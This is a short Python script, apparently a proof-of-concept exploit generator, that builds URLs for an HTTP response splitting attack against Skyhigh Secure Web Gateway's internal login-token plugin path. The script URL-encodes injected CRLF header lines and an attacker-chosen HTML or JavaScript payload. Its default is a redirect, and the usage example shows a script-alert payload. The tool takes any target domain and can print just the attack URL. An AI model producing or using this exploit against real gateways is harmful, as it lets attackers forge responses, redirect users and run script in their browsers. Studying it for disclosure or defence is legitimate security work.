#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SWG Exploit Generator
Skyhigh Secure Web Gateway HTTP Response Splitting
by 0PTS
"""

import urllib.parse
import argparse

# Default values
DEFAULT_DOMAIN = "google.com"
DEFAULT_PREFIX = "/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p="
DEFAULT_PAYLOAD = '<meta http-equiv="refresh" content="0;url=https://duckduckgo.com/">'

VERSION = "1.0"
BANNER = """
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝
"""


def generate(domain=None, prefix=None, payload=None):
    """Generate exploit URL"""
    domain = domain or DEFAULT_DOMAIN
    prefix = prefix or DEFAULT_PREFIX
    payload = payload or DEFAULT_PAYLOAD

    # Remove protocol if present
    domain = domain.replace("http://", "").replace("https://", "")

    # Calculate Content-Length
    content_length = len(payload.encode('utf-8'))

    # Build HTTP response injection
    injection = f"p\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: {content_length}\r\n\r\n{payload}"

    # URL encode
    encoded = urllib.parse.quote(injection, safe='')

    # Final URL
    url = f"http://{domain}{prefix}{encoded}"

    return url, content_length


def main():
    parser = argparse.ArgumentParser(
        description=BANNER + '\nSWG Exploit Generator - HTTP Response Splitting PoC\n',
        epilog='Example: python explot.py -d example.com -p "<script>alert(1)</script>"',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )

    parser.add_argument(
        '-d', '--domain',
        type=str,
        default=DEFAULT_DOMAIN,
        help=f'Target domain (default: {DEFAULT_DOMAIN})'
    )

    parser.add_argument(
        '-x', '--prefix',
        type=str,
        default=DEFAULT_PREFIX,
        help='URL prefix path (default: SWG internal path)'
    )

    parser.add_argument(
        '-p', '--payload',
        type=str,
        default=DEFAULT_PAYLOAD,
        help='HTML/JavaScript payload'
    )

    parser.add_argument(
        '-q', '--quiet',
        action='store_true',
        help='Quiet mode - output only the URL'
    )

    parser.add_argument(
        '-v', '--version',
        action='version',
        version=f'%(prog)s {VERSION} - by 0PTS'
    )

    args = parser.parse_args()

    # Generate exploit URL
    url, length = generate(args.domain, args.prefix, args.payload)

    if args.quiet:
        # Quiet mode - only URL
        print(url)
    else:
        # Verbose mode with banner and details
        print(BANNER)
        print(f"[+] Target Domain:   {args.domain}")
        print(f"[+] Payload Length:  {length} bytes")
        print(f"[+] URL Length:      {len(url)} chars")
        print(f"\n[+] Generated URL:\n")
        print(url)
        print()


if __name__ == "__main__":
    main()